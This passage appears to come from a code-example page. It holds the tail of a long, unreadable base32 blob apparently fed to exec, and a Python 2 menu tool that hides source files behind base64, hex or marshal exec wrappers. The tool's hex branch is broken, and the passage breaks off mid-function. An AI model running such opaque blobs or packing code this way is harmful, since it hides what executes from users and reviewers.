CUDF2MO7PER3M6NXBNZCCZYLU2HBVNSEN5F55236LM6RUBYGEFGLKFQC6KTTCTD34TNC2XBIYBPNR4VN2YEQX5AHCVS26BYNOHZFZVGHX5TYAFDIL26RZSDBJBS3DD5FQLTIQEAKLXILGK5CJURI5IVOIROCNVBBZSY4NY3ZWWWXK2MZCDRYSVSQNK6QMYNT4RDGMKSKK5ATVWIDFKYMM77XXEKI24ZBVM52UXRWWFPCRWP2OP67AG6AD5VI72F6MQKEEEAELQK2XWF2HBJAIUI235AX4CUTBYAJMMFLA2DPOTC3BWD26TUMDSRO3TAA6KX5RKLN45O7BX6FHLQN7TJTF5UYNPT34KNW6XZSKVVWOP7YOZFMZ5XHY6AZKMPNU7GKIWDAZ6VZVKVYERE7CIHW5LPXU5XOOT37I3Q7EXGT4C5CJW42AFB7CQX4RPRHECTNRYMAJ7SLYLW3ERCVZSMFQEIYON2WTPPQUVBKMNR2PGWF26JA2J3ZWPP4SE3BBHZHR6NPKEB2LCQXQLGPQSUGC67Y7STYQXGZPLALLJIXJZP3Y6SVHV57DXGZM7H4KH6URQUN6BIIE6ECP43MRDUFZG6JW4PBUL4TOVEGMPM3ACY5A3J2GRISN35QL5PI7XOQICMRERTEBE3SZ2O35FEMSTG3NVUYJDRNXDRRF6LJPG7K6X4ABD4L5HRIJI2MW6JM7GUUUCO6JO7AIT7XCK6KBGYMJKBBO4UTIFE7BQTOGLEFZFN4FYOZR6EQYEEKTWBJREXYL43TI6BJ4SFKEWIXWGYGUNHAYPM7PN3KGE4RJ2FER6MC3AWEGLUM6543IEIGPIYV36HKUCVAS6DVNIU5FGHPQVCEVPF76QHERPD4GU26E5MEDH2TVQXU2JICBFMLXD7YXPSR4ZOJUHYXYU6I6UECNKD2J7Q4O5RIC3G4ER3GKBCASOW5OOOHLOBNW2NQEUJF5LOWKZA7EBN56XSO2FIFGZRCRUHSOEYKSJL437BSW3A3AZWJBIDS5MDFVBTVQHNJYNIBR6IUEUKXGSSUMNFFIY2CKQWW74DM3MW2NDHCQYLGJJKOI5NMRTNGBCMQ3YXOGBVPPN2SBILO2SQXY7BDMB3ZBZMA6A6Q3HRGHNADNHO5QELTXYIQJTIBJUBBURS5AKBKTU7A2T6QKUS56QIXCOKTFN6T6VYFNWCGHXLBW46V3NAF64AU33C6VWYEIVH7IH6ALIAVVAO52BGDQ3YTI5YQ7LTLKKE3RA53BTMYGQ6G63FN3OIRIBU7Q3P2SL36ESZW2GL6NW2U5J6ZXTGIK7ABYDTUCNNSK5RX5QCXDTFGYD4SLVGKHRINV64FGGL73BHTDE73CLP4CILRSTH4YBFJYDEFL354JCIL7FLD4W3VFMWZJZSXNCY47ZISRZN4NSRXU74YRTBOLMWWSAFVHGRSW5XUANQLGZ72RZMJEPSBOK2FOF5FWGAZJT7247J2SBLTSFCZ72VTWLZRGC4ZPF562YA7CVZREE5GP2YC7INFC3UUL35FZGBX2OTFW4J2EKCTO7FITA5VOD6N7CLR3CL2ILOTCYG2X324HR7DKPT3NHVLTU4XF5GVEWPULR6OV5EVOP5U5USG52VSQIO7VPJOHYQEMJSJ7O3RPHFLH7BBSTCDBODCYQTU4FTKU567KEIF3LUR4USUCFI2QCUY6BG6ZI4AC2W43H2ESVWD45FWQ5KAULZW4OMZUKNPKFVQYTESXZKYURQMCQDS2Q6LZYX3DLI6ACYOFVZAFHMOHRFPINYAHAXHEAAI2FITHRYQWAVKYIOST5KFZF6BDTHASIGAVDJQOGLZGTFOIQXZK6FVMITLKFIUENQQZGPXKP6ERYBEFK3JLXCMVVMGYTYIL57GCZJQG5QSWIT6EVQ25IFOTRWSL563HEBEB2N5YCRACKQUUIV3DDQDGFK7IL2TRI36B5XSE27KTHBJXGBSRKVWUEVBYVGZKFGAPJIFSVVBVU2E753KAW2KCBJNXOHDJFSPVTLOUY7RR7G6ML5JJR4DGW2OB7EU2N3VB5RO3FXFBMG5UBQLWILOW5G3TPTDBXOYY5NXHON2X27E4ZVMP64M3UVD3F3ZVJVXFKQLRPVMFIV2FIOD26M6OY2XRBHGTMGCTY5H5SPAGDTWQYSAFDU2HTANCJQBI4G7A63UJZKYH3IH3AQJWEXR626FMNFFKY2KKDQBI4OZ5DYNXSPZSQXP4C6B6GD7U5QPYXM46GBSVG5R7JXQMYCDM5ALRQ5WO6BICM2FCOZ3X4LCB4AAAAJYMIIELAOA2PYGJLYLOA2IUSXXOIYANABDRD2TNOXKNWJIBY3FU3VVNSKGCNXQLKH3KVUCMOCPYNIWIZW6CQCXI4G7K7OQ5ASR5Z6JGAMOS4K7DEV7ROAOGZPFPH5H6RV6AJQQK3XPEMKFFWG5F3AACB3IIOWQYXYUZQGAIHEHWYNXB7DATFIR7KYQLZW5FES2D2H43WVUNVQOUMJIPJLUDUOZVWAKFQRJ6HQLRJYCP7M36IHRSGCED4NQAL5HICFKEGUBJ5DY6FHE7M2AHHYRUKBFN7OT4ATRKEEGUIPQMKOHQHOE4F5ECDFO5IQQAVATN6AKWRWFJ5H2JUGYR4BZF6LQIVEKNWDC7VRWZ43IMCNSMVS5ON4WYI2P6ZQNRJUNMENVZOTXWBGWOJOYAZYESQDCTMEPCNTFQ7JZJKDIJJKDJJIWWFGS2AAWWAROMMADWEFIKOQUBQAMNKDTMGGHUABMCTZXRMGNTZRNQZVPYQ3HLCDN2RBGZUZAFJC6YQFBBZQJWRVMW6QRJNWZK6AG32SAUXA3BTITODLUC4IJDRJ6EYE3XKFLBDLYAWEGB5CDP3MKNJYCNRZXRO5RZX36FVRGAZ24V3DPVIAOTOGRKYM2JY3KJBSR4HNXXRH4U2XFHDUUENUX3EXJJ5CYTP2MQANH2NNQCTXZOPSPWCZWEETMEHT5WYMGZKQAGEQ654UHJUARV673R4OGZAXVFG4UZ7VDR7XDUEDQVQNL5KVYXYLU2IUJGBQUIBZIZMYW4EWJWAIGXW37YW3EK6D6WYZGDV6LWYABNQ6D2JQHTKABS6FJQ6JELONWPTVZTAQSIO64JTLCS2233MAXX7RHN43SXMB2QTTZEOS3D4BII6PJDKT6KM7MWYIWEVJUQPSSI2EKCRQ7EKD4ASZO325QBORRKAAS4CCTDXGMDYIIQC6OHFVQPOBR3OCROO6QPSZJNIMWABCFCNHQGQ6NT2KCFUI4EK3FE2MFCRBNKGWDPYVKW5LKBFR3MMGLK5AB3CBFMXAMAAPNYBONARCRRIUWDUENRUC4OG4USORZXQMKBGPJX4MTS5AUVSQQG2LWNSM33WYFJTQAINJILCK4BRHTTIIJR3GZHZQOF24PTGJ4FDDGF4K5FTQHOXY4PICQYXDIJASDIM6QKHG2246NEZL67D64QYJXYVNR6WLGTL7TU652D4FDH7ILF7HWZXYOYYESYAYXIHIKUJP6K6JBOOWMCR46MX4TJXY4OIEN3VIU36HBUAS7SI3TCTMSQOJDLMYGSUGAOVKAZT7KRKK6DBYRZIHQW6FB45GC5WBO62UJ5SKFQMDAREGX4SO45VN4FW2NF6QRSHYYCLOI6A4K4M2XV47WYH2UXR4B7Y5RGO2H64KDIMBVUS7FO3Q5PUUW5VXQSNXIM5C6MLIDUAYCXYNJGISQY62KPA3J3JHD5VXMD4JS7FDXZ4R3WX5RVUFZOKH4VXCXGTFVE5JDMHMANS32VRGNMMLPKYIN6MWS7KXFZZTR355HSZS7HO4MCTOZYFW752BO7ALONUTW7GJ3WXVGH4XQAGJ2QISKD7GJLXCWZYP6GOU5AFXOK56W3YN64BVQX55KV4W5YS56WZYLVLZN3SKOXWFOT6IYO6JRNM5ONBPLL7E4HPEYGVOS3RX6CHQVJRWPTIHFRQRWD3YWKQ4QQMAE33FCSLOTKK74KQ3DZOZLBPPSPXRO2IXYJX4KC67QFH4O6PILSZMTGNB36CJUIVQBHHJZRVGLCGM3O4OBQLONY7SBZGUSVHTIBMVEBGPJ6OM6Q72XZ2ORM4667QDZSCHR5RZZ4JVJCP6HCFJ73MVZMKKE2PXEERH56NNMYNSZED6L4QZ6TVNSQWH4RVAXWUS43ELSRISB7FOJU4272TD23XWTXKIIPMIBSTVHC2Z6WZO2SNH5IUJQUHU3MQGIYFKBNP7M6KSLZBJ67MUHZER5TMQOLBME7QXSWJPEX7SSFZDH4EB5IAUSOD72ZC3QZ4BK25R57OKIWUF7BS2NT5PMV2FTBPYBWTMPL3BGH2V4GZ57BA5AXV5TSP4KYHU77UHOQMC4Z4MFS36EM7PZKTGEQ6WOH6IC5C2VR4XLG6UYJSK75HSKMCB3SLHMXF46HWDRJHW5LV664HESPK2JVGVZHKBSIHY7LU6H34JU2J7HYND5PIJHSACKDWT2OLWEL5QIYIBMDHAU5BLHWTGQY42QRRZQJONZIO43KFOLFSOCNEHXGMYE3GDXPKDXEV2VCBFAUXXNU3QD75NODRWCDD3V4QDTRVUIUXCT6BJGXGGE4GNFB4IL5RBIJZZXJOPHLSXOOS4MRZFEZ3SVLFF2GSVLQF2DDK7JLHXL5HU3I6ZU3QI3XSWVDXBSDRQRNUVQX3MMENYHCOXD42WFZW4W2RDF63IGYWZOOPX54AWKUE577EOMZCVHKOUENWQN2YW64KM7UCF2XFBWRRK6SFTYY5PCQB7AMV2CO4JJ6ZDZJZCR4OXTFJR4KU3MN5VI7NZ6T3WTELHBCQTC5NZKAQ57NRLK2CBGD2D5XAKNJAZOBYHOPLIDHXEEUDZ3M6BFNYC26KAZD2OPBJ46TFF5TYYXZF7HUS5YKINOT4MU7GSIJVIITBP3YZKFJAMBOM6Z4UD26LB23PFOOPMPS46VVXHKSZDJV3BTX2XU7U4HWKN3G3F2BSRMNKUIJ34AUSBUHKIRKPHGQEHMKOCMFRWRW4APSYSHEJKQWNWHPUYBRXB4GXER3NNHS7YEOW3CLZFJM7IZ4J7FVRN7ABFPO5CRQ3EE5YOYZ4HTY32DKVFLO4UAL55Y54XRMBLL547HCHC2Y3VYXJGVX3CKJO24LQLBKHGYGPZYFSVGN4AFQ5CZKCX64CYKQFVBDA4CZKR3FABA4K4S7APQAHGWBHDL6WA6DW3NEZ67QGH2DURDXIPWHQ7NYKDPCXMKSD6HOK2C7TP2GCA5YBPEKKACKRCWQA52CWQQ24CA4CJQUJ5DQLANE6PAEDAPQE56NJT4R5AXB6GP4PDHCPCSUWSGPXD5BX2JD72FOAXVQETRSNBPOMGMWGVQQX7TPNRQY2V6FLTEDKOYKXMJGINVQPMNDRSTMOPVQVCX2YKRL4KZ5HGGTSWTGAZTRYZKXGE7ZR3I4MTRSEKAZZ3BP4OS4ZDO2REJJWMKP3H4CX3ZC6CY43M6H3RCEZINTCF2TS7NMAUANB6NIKZ7NMFECRSV4VTGMTK7UXWYIMD3X3E2XUUJH55XZOCTFWNQ2Q4P4XPSSNEZJWN5HU6KPDB52UCX665KJWA4Z3YP4MV3K5BP5YHPODN4ON4DS7QA5CKIHFOL4F4F6LC5DI4MOD6ST4D4HTNFIDYY5TJS4ZFCY7MAD4ZXQHBFAIPIHKVWAKEMZ7EI4BBCTEH27BQQQHC3TYRXA6YUQIJNROEXHZX25IPXS6F4FAJ2D6RZYCVROKGZWP347UITR5USGMEWC7LMI64N2BPYDUG2BJ2RXF2ZVMUQ74BHVN7FHJ4ZYHA4EMLWJXVSARUQ64JDL3TD3DAT7NDGC26MNRRIBNFPUC5KABK5IBJ5E7ULGC5RTXA3LUG4YAHWCBLQXQY7GBMMCEZU3CM6QALWAKDCJ3M5NCG5ERKJPMKFUCZSP2AJ2WSBZF5DKJPLUJNLAPLJIX6UDE4XVTZZHR63LVSL2A6H7PLVC6NQQ74CJE3EPXX7NEHVGHREPIDPLDZOGPHU6TEUGIT2EGOVKU6GVKFA464KLCZZJUBY7CP5A7JWTWCOLEIH4QO7AZJ5PWZMFQ7A3YW6UC7L4X67HLF72YUW47VSFFOQKI5WOV44J5U5KBHHI3UNB23ZOJGGJCBHC5ZMFSI3TKFPT5NKFRSDPBIQLMMSMT2PPPYTIFYD6R5YBOQIKQVS3NDOHHYCWJ52MKGZMWCLODXNDTZYS3NXD6YY3OUJ5WJ66CQYP4IGE66SQ7MJMIFSAC34H2GEILRPKRXMIQVVFMBG3YIH5HSRSOB5OJKR44TXPNTSULPONVCXEXVKWEXVKUBTAZV6FMKONO45CP2WVXGVIEUTAI7KGUOHJY7ORYLMPTAQRF5BX6TFQRW2ZOZZKGXXOEPVHVENJ52KUKXDFIW6RVCD2TMJXKUFNX4H5LQA5KGAIPKD27LVB7ESDRHK7OFQ3SJWXKKNQFVCZ2IPBO2I2QPUWB7PXJ2FBBD7NUB3HSXTQOCJ4CFXQ4C7KSRGQPGCQIUYKGPDQIAZCLJRIOXYP7AEOCHQWKR7RIFPGKUJ3RWOAI3YUV6ERXFISAV63QE4MXTOKT6MWASR4CRD655CRRUTSDAKIRAZUFPBXBPRDDX32EZTBZKULWKK2MDGCZA2F53RMRTFKDRTVOLIVE22Z2QMB3W2T6M4LGDOTUZIM5XGIKMFSZZTQYC2NB5MLUY6EYSRVROSDUNOGBM7WU3EKH24AG76QMAPYDII7AU56AUNBYV2LCJB7VTIOAKFIRURCUK2SSWA7IY3EIXEFXFLIVT4E6CCTYFH5C6FQERKQDECXWCJIK667FJ4SAR6ZMLQLC7G3ACTTADZ2WIHDWRUZQNOF7UPUGAN7RQCYBWJ3MQ5WGI3AFMHR6TH3HX6T6I2HA7OQIFZEIM3KFF3FGNDUW77VJERW6P4VDYSK3HJWDQTH57IDFCX2BOECBIOLBUKOXMYDJUZXIGMIVUBX6WNFPRRLCMS2ZROPTBRZP4XEBARNDHCTZQ2O6BNS5TZVEZWEWYDRAL3VIIRA3TQ2JEPDP4SQVECRRWLVVOZXT72GSLWKKXB7XLVEC6NJQMMEUT3CZL2LFH26FNQV53N75YBUS52PLIYOUXEU6ULSJWVLEDNETD5PVZTAY3NB4PLZIEDXKTD5ICDTRWFZKKJNRG7IQ5MCHHLYCGWNZMYJGDJLMYYNWDDPTE42GN5SNE62PGBMNSX4LB35NF2QPDP4MGQ5L3UQWW5QZHHH2XTFB3AI2JS6MYR6VNK7CHKS6XFADJOQGD2OBS5NY4SIZ5YYOJ67HXBW4YIKKGTQPPCSDDYBUFHA6CD4PMIL3YRV4HQTBNDZAQT63XHZC7AQIUJIGPT5DWQTKW7THJFV3WWLH5YBSB6PE5YWFB55I4H6B7XO5AHXGN4KBBK6T5JWLO4A3KB6AGB3WBKFYFOQQDJ4XHF7I7CHY745NLPVDF27VKIH53ZJJE7LMTILG6CYKKTU6OLDJ3XFBSF4EM5XDHLA6DGCUW7XKG3IDRJTCVQ2U3J4H5UJFCTAFIXQEAIRIV2EFJZV7VWPNQ7SRIRJXPJBMPS6ITML37C3UKGIYYMKWG64ZUL4MHFCA4MQNRSW2J3EFGFOMHIQ6JYVLUQ4QOUDAAQJXHJ3BRLQMBG5YLZKZ3EFRVBMYWNIKVNKSOT7URFBLITSJVBLKUZO7RED4TMM4FNX3IJZCZFS2INWS42SVEVTNFMLX25FKSQQKYMOZHMFORNRBLK2G5RRKZ2GOERBDQADQQBLRWJZPH5WQ4PICT4ILQIMSKARRAFXIX4IAFEUXWYWKRFAFJU6HZRP3X4DIOKIMBOIEPBZ6FBUDON7BHX4OENTGVBYHGXZW5F3MTQMJLFHZHZBTFUNUHZTKLY7OP5Y3JYJ2P2LJIMPT3HV7HS2GZ34H7PAMO6O2YKJ2GDVBGKRLERLEPPXNOZ7MQUFAM6YEJ5UTPXFM3XBCQZGGNDEKY33A7YXL7UOMWQXJUTFIEWEIBWQUGAYASK4TS5JLU4MGWDH5XUQGUC2CTUVUQG3DSRNB553ZEBNWHG6F4V7GWQAU54G22KTJSTDH7TIGEWFIRUAWKTYSKQJKP74ZSZT4QY7KCZS3NSFK36PO7DDOJ2LZ3IGGHXPOH7XISGZPSBVSWPEUHDIKM32PMQVZRZ6HA4R6R3GP352BBWNUMGU4U55PB3BVXBGJ4Z2LLA26ZGTWFRVFPMQ2OZZXXME6QATMWMRAOGLCZQTTKMSWZMRITETX6FKDNHR2KVQZAV3JRX3FKUNCH7LKXPU2VZO7BXLXU35G5OUZ6DOXI56POXJNOPO7JZLD2VCUGNMQ5TVLZNWSUFEZJTLETGHUR2ZJJMHTBDT7VX4KG43Q6UTTKVN2BUQXKKA6NTWR2Y3OLIQUE6JWQUAVYWS66JZALL4URIH4NJDL5UZSXCQYKNCVZJHMHQXMXH5AJDFP3EMP2HTAZYTCHUKLAM43SIXVP2ZJNYR3HHIZBUW2DBEEDLFBAVYGGP6NC25I33F6YKH37QVFQDXN7W7KOZEN4UAQEV6ZNTUJIPDDWTF7HRCAXFXODWY5OOKCGWJRS6V7KCKUQF3IQK5S5ZOZ27V6WBKLV3GB4IH6TOE5F2RTGOHP6IYJHDMV7ZRFMOAASTP2BMRS43GZFQ5WLHA6KK55AKFQ5SYRPKKCJNMIX6MYGQXXP2CV7GTJ7JXNKCG4X7MEY7WFIUFLYKYSAQFRRAENAAL35F34OFRWCLP74LLP7XZKBYN2QB6WNL5MRXBDWAVPCU7C5NSNFLKAD4J7BPFDU5VGXEWA4UBA3UBYJ2M42AP2IGMPBCV3VKW4NVMKVL4BVO6PK4VZSXKM4JEDBF3LVQSPFKLR36XDXMB2Z2HSTY66PGA5XW5PH4DC5HNY7F27RQ3FG7YCH64A47FJ4CQOUEFDZPBC4QRAGISSEZIA7AVY3NDBX4HLT7PGHRJ2AVQS4EFMEBVKRQ3VHDIN6BBY4DDAP4J6AQY2DTAPUE6EQYYD3DPQMOHQYYD7DHRX6CSURIKB4LCQPCUUVYXNJ5LIX4DJ6MI3VLYW23YZKPNNOMSIXCHIRK5K254UCELLVARAEYTGEQRAEYXGFQRDA2HXGZQHTBBVXBNUKYNNIY2ZQYCUIMNMYUIN4NCAJ4FGAQYZKGCWBLRIFIUR3YQLZQNHQJAEERIULATXEBRRUQ2UN4HMA6YMDMYEWDWAPMGBS6ZDBP6RW2XGWHZL4RVSGYFK2CPUDVTINUUQ7AJV2VPC6DJG4ZDMUKGMYXZVUEMBJZ556CWCEGKT3ZUMDXSPEH2OIE26ILWSPERZRO4JTP53HBBZTOY3OM2IXXI5BXADNZTNCW4VBCNY2HW4Z7Y5ZLOYHOC2I7WN2COAG3SW2E5ZNMZXPCZX6VU2DGIM4GWEVENCLVAV7QF56TP5F2TV6627EZU2PBWDQ4S3KK2PYM72ORJNU6SOPVBGQOVDN4HICPXEZDVB3VTU3RGCMK6ZKAVPCU6CSY6LQWOTG5NVHUAJDNVTHENPHERJCXROVPSCSZ32KJNVFITSPNCUUC2WOVALPAI2HF7QCDYUZV4N2SRPNJEK5H77NBFJR5MMSLIFMNMJLCPNN74UBKNPSGKMXJUCKPWNHPUQYXJCUSLVGL3KJJSVKP6IKROY7NQS5DCOLZ4XFAWL3MHBC6BGUSBE6NJRDTAAHPXDHVODZFSLMRK3PZGTWO2GP6SZZPLVJ3KZKNHVY3PVAIL3J6NNNMVOUQHFPUFQ75GZAF7VRXSSXXWJZGYZH5J45OKDSYA6WCQBHS4IDSH4H6HRANNST7D244BVEJLD2AIDJW7XZ5PJ5MPZ7XB3D36K2XVQFK6C6BCPBF2NCRDWMKABXNBWYCUYDOFS44K2Q457SFQGZZSLQQKVZGR7XRBUEP4BEC74AADOUB3SFUSFDOU24IRYIS2PNQDVOG7MKQYEYYE3M3DBSAGZLBP4OHJDQVECE4M7EFMAEMKQQUMB7J7ICGB5BVL6GB5ZBKRYEML2JN3TGKIDU7IVI63T7OUM6OM3PSGZC4MVPICBZG7UK7JDGQ5L5MUUYVESIYEMXAT64ZO7HUIUVSMFYMLKEQIX2KTSG4GKXB64AZJKDFAAQIREDKCUCM6E63H3LDBX5BG3CQFVT5A5OC3BIDMQEKBNK6Q5533YFQHVXOAMAJTPH5FXQY6EJRAMK5XZI2E367OPR4GT5B4CQYXDO2RENZNODC2TRAEOYN332REETLA3KKWVQPZSEEAU4CBG455L2SSZIDLUXHFI2IXWCZLVZK3Q757KMGINBUA4DIM5DVP73LODW6RSWQKGMACNTRHEETUCYTZQ4KBJYL7JS3O4473SEJTQHLG2FXGDQO34U6HAS6BNF474DO45DPUM563CD3GLMKPZAKGWJATPT7QGN7DPRGBYSNJD6ILHQ7AVOXWYGPR7CXIDAUNNSTKO45FWWLDYTFULDSORITA7R3RFUOF6NXODJRTJZP6U7464EHOUPAP54PHQMCQKDJHKFKF4UMS6KBV2C62SNTWBFNYXPKQPSOJKPD53UQXDM64AUSYWEACQH3AEITXRCWREJKT3IDUJ3YHE6R2W7DT57SCGBG4OSH6BGB55FXMWX2KAXTJQUMBE7IXHBQIE5RD7YO4H5CXXJUSDY7ER4WRW3FOGJDNFNNUER3LLFVQMORMFUBZRA5WT7XCDT5FZSKKZZIOVMAKVT23WLZKCSGLKCX7YNM44XLSUSWY5KV7XKKHNSYTTOIMJN5DG3ENMQKNQAK7OCNWDSI3JVO46AH3ASPPDS44P2Y4HBJ4UORSFWX2Z7V72E7NPOMX3KM56WARPLTQCWGK4FZHUBMX3N2LBXI7SXF6ZNLNXEOBPZMALADYTY6TQW2BUNQDGVZGFTQONY2WJN7QU7EQ5YBPYU44LHG6EOXC2WBNXECQW5IK5VOMGB6FWUYODPO44TPZSSO674ERZOOYLVSCDAP5P4JRP4O2MEU7GEVGGZU5UHMOPATIZUKO5C62PQZXZISZVJAWDUNS53WHRR7YPRDWCI6MSESSHDM2GDPWBV2PTFRDQX76YMCIMJHYVB2JHFGTSOUWXD2JEP34UXBZDO5IHLRT3M7FO4X5MCX3OVSR3TPIDRZINCYAOTRKIWWVXSZQTEBLWMMPTAPE3EMFATVW6C3L4E4WLLCLZIGNU4A7PY73N36BRW3AHGTJR7UX6F5TMQ3W6N6POF5UHOUOBZOSWF6HMJE5XUJQ5ELVUI24HDSCQA37J5RAOAWTJIJVS4TBSINFXASCNLXEOVTYKKGMCSFFTSM7UWYT4BLV6Z6L65OX5WS5O3FM2FAGFGWQD67YDWZU2VZ3USRGZ6YCWFXDWOKIPJRZNYKCUWQJPQTQ64NXODDZNMWCZTOG27AENATZBXC3MBZIDLACWXIBWL3HDJ7ATAQDFROLCFAASZR5RZLT4O7RCYMJX4NWFGRQGYAHN6IZRLTQ7P3CBOBWKDBHJ7J65YJPYRWY7PVKWNLREU5UACNMTNZUEKCAXV6HUXDTSO42GOM4MOHVLGWCKLIC27AXCCITFRHTM7U7HL5N5PZOHY5PZLNBNXYIWCVPJFN3DTAFM36J35SQARGNG5D7DCIU4R2KLA55LINSSFDBTMUF6J4XQUORH5UPSAB523Y2RJDXTCBTTDUZOUDBGDV6B2ISAQ3D3ZQBAPU5VZUWZ54V2RNY5QLZHHFQDCZMP6DUWEJPM4EZHINYBMFQPAZZKIXBQE7HTDK3CZSBO4Z7JP4BYGUECEYSISITODWIHRYY366XUQOWM7OVWC7LPQ7EKYFBXW3JH5GEAIGG3HPJQ5SKADD67YFIBQGOWLHDSKMY4KSXPMGMGLQAP6LEHCDPP7AEVEODHZGDS4EKBLQ4ODE3FEEBCMZQ66JHWHZWYTEZY77FS2Z56NRHT3GIIRCGP3UOSYWU7MUB3QF2LLLNJZQSKQ2XW6G6YG7RGL7PGOWVS2QJW6SBR656COKJ6P5YJ3EFCJUN3B3HY3X43HQ7DQHZ35RSEC3252ETMN6XHNDIJO67YHRXHQ6GCYDEPNNRXH4XYT7PUJPGKOWKOIOLD2H4PTBDIUXWNUZWM2VXFRVG4YDYOFG5NR33QYLGQMJSM5IURU6QI55ONZUHR7HI727TMMRXGAX357ODXSAX5XAKL32BHU6U6MSOBSHY3DQORUGQ6HA6DMPRUHR4GZ6PATWOZGXM5AURH5YMRG7GDSMDP3BKXXDIHF45GUZLHOVRUDSBHNZVAHPTDD2K4UJASH7BSEWXTGWQWSFZOPE726GASGV5GE3UXZPA3GWXAZ4WLAWCMS6XZOJNG4QSIZ3HOP2AAVLP5FAITC2E2JTBZ7RXZ723F4KSO6SAFHX42ZASIYFBXIHDKY5QUHDM3K2F7MFJYFMXZ5JUSXC6RS5SIBTYF2TU256YRFN2V72JPCKQOYJQR3CQQZNDGNE5ZLOAQ5N5SMAUQHZTA33KWC26E7Y5S2JJRF4AJMNKUSQDOJFNDZNJGYZUBUTDYPOAC5GNKIZYKA65FJRHBGFIWY7GTBK6IAA5UAKEMCZ6C4DGSEIOX2U3QCKTEBWANO76HYREK6MNVSRFGYRG54N2QQIUCLTVTRLUDUECUCGVM5TJHGUZTOO4IUIQ56I43OPZ6U4SHWRWGAYLA26NFXIO5A6ODJHVQVSM4TMHD2MBM5TRIHMLZPU7QFALQJLOT3KIE4UJEN2UZJEONNPYDRUDFNIX6H3AYSZRPNHC5Q7WJ7MLK6JUMNSLL77DPTDANVM72MUTZGZX6STFJDKUV6MSTMT6PGUG7IDONBUHLJH63FUJ667DFDK5KD5K22ZYOZNH7KDPWBUG7JDIPB6U42MSPJU63YHY55NNZEYK4EY5CH52XU6XM6NUQI4P7J6G4Q4AYZGPZN7FAVLCCQE2HXACOTNISMYOM3KRZET6S5TMM6ZGSYBKM5V3CLUTJYTXDWTF7S6YL67YXSKM3JFTG6Z3EPBJ46AQ24SO5SC6QMWXMBXAA7BYBTRAPRL2Z4NIRNNG3PYFQWMHZTUAQ7UUWQZDZ6WCN5RM6ZUWGRFBLDGYNQNT26ZC7M7Q7ESZ4WK47DAEHJGOZFPSLF4L3WMNRPL26X4LWMTNOWDHNGJ6BPDIXPH34TE5SZYFZB6BWUGFJT647QI7YMIE32CQCTW27ALQLXUF4DNBBPIHYBNBA7AHQPHEEAGPC3MIZ7QDAU7Q3QB6QPQEX6BYYEC65A5AD6BCACM6CJ3X653SBEFQAEI3YBSB3AC2DWLHMGN5ADDP62OZC5HEDADPPYOYFDSB6D3CB6BJAQ7Q3QGGEEATNXDZTRN7ZYQQPQBYGVRBPAEYHHUB4DFBD7DCBF7APA46QXQOMINZB7A44QQAP325TOJFNZBACRU4PDHCRH43QVDIHMCNDDG3RTACALY5VCYPFWMOEIPU7QDD47OQUICG7ZOEDRR3RYICFWWRRBIAQJC3JFOCYQMVKIVBJSBJDDCQDU6RDZHKMOJM6IVTTGOGKCIHZHHABY5GDIPRKARYTZH2N5C4YM4ISZUU6E3V5JOAFSEAVJZH7DNKQNEGUJ4TYSKN3CS5KBJC4FEHIJI2NCXQUROCKTFCN7UHEN5SHHMR4KII7SERZCQ4RMGIR3EL5SCR4SU4RCOIGP2O46HFGR6HMOWTI6PP4Y3EO3SGDJBA2MN7R3GILGSILRVUIYTSHZ7J3ZJ7J2EPJB5WIT5ETLD65CA4R46RA6BT2NBO75WRGTW7JWCFUQXDGSE7KXKHLVFAZOGVQ4P67Z4TBKIK==="))))
Example #42
0
 def decode(data):
     return base64.b32decode(data)
Example #43
0
def menu():
    logo()
    print '\n01) Encrypt Base16\n02) Encrypt Base32\n03) Encrypt Base64\n04) Encrypt Hex\n05) Encrypt Marshal\n06) Decrypt base16\n07) Decrypt base32\n08) Decrypt base64\n09) Decrypt Hex\n00) Exit'
    try:
        inp = raw_input('Choose: ')
    except:
        exit()

    if inp == '1' or inp == '01':
        clr()
        logo()
        try:
            f = raw_input('Filenames: ')
        except:
            exit()
        else:
            try:
                bk = open(f, 'r').read()
            except:
                run('file %s tidak ditemukan ' % f)
                exit()

        en = base64.b16encode(bk)
        ff = f + 'c'
        open(ff, 'w').write('import base64\nexec(base64.b16decode("%s"))' % en)
        nm = ('').join(f.split('.')[:1]) + '-enc.py'
        os.rename(ff, nm)
        run('file berhasil di encrypt menjadi %s ' % nm)
    else:
        if inp == '2' or inp == '02':
            clr()
            logo()
            try:
                f = raw_input('Filenames: ')
            except:
                exit()
            else:
                try:
                    bk = open(f, 'r').read()
                except:
                    run('file %s tidak ditemukan ' % f)
                    exit()

            en = base64.b32encode(bk)
            ff = f + 'c'
            open(ff, 'w').write('import base64\nexec(base64.b32decode("' + en +
                                '"))')
            nm = ('').join(f.split('.')[:1]) + '-enc.py'
            os.rename(ff, nm)
            run('file berhasil di encrypt menjadi %s ' % nm)
        else:
            if inp == '3' or inp == '03':
                clr()
                logo()
                try:
                    f = raw_input('Filenames: ')
                except:
                    exit()
                else:
                    try:
                        bk = open(f, 'r').read()
                    except:
                        run('file %s tidak ditemukan ' % f)
                        exit()

                en = base64.b64encode(bk)
                ff = f + 'c'
                open(ff, 'w').write('import base64\nexec(base64.b64decode("' +
                                    en + '"))')
                nm = ('').join(f.split('.')[:1]) + '-enc.py'
                os.rename(ff, nm)
                run('file berhasil di encrypt menjadi %s ' % nm)
            else:
                if inp == '4' or inp == '04':
                    clr()
                    logo()
                    try:
                        f = raw_input('Filenames: ')
                    except:
                        exit()
                    else:
                        try:
                            bk = open(f, 'r').read()
                        except:
                            run('file %s tidak ditemukan ' % f)
                            exit()

                    en = bk.encode('hex')
                    ff = f + 'c'
                    open(ff, 'w').write('exec("' + en + '").decode("hex")')
                    nm = ('').join(f.split('.')[:1]) + '-enc.py'
                    os.rename(ff, nm)
                    run('file berhasil di encrypt menjadi %s ' % nm)
                else:
                    if inp == '5' or inp == '05':
                        clr()
                        logo()
                        try:
                            f = raw_input('Filenames: ')
                        except:
                            exit()
                        else:
                            try:
                                bk = open(f, 'r').read()
                            except:
                                run('file %s tidak ditemukan ' % f)
                                exit()

                        c = compile(bk, '<zbl>', 'exec')
                        en = marshal.dumps(c)
                        ff = f + 'c'
                        open(ff,
                             'w').write('import marshal\nexec(marshal.loads(' +
                                        repr(en) + '))')
                        nm = ('').join(f.split('.')[:1]) + '-zbl.py'
                        os.rename(ff, nm)
                        run('file berhasil di encrypt menjadi %s ' % nm)
                    else:
                        if inp == '6' or inp == '06':
                            clr()
                            logo()
                            try:
                                f = raw_input('Filenames: ')
                            except:
                                exit()
                            else:
                                try:
                                    bk = open(f, 'r').read()
                                except:
                                    run('file %s tidak ditemukan ' % f)
                                    exit()

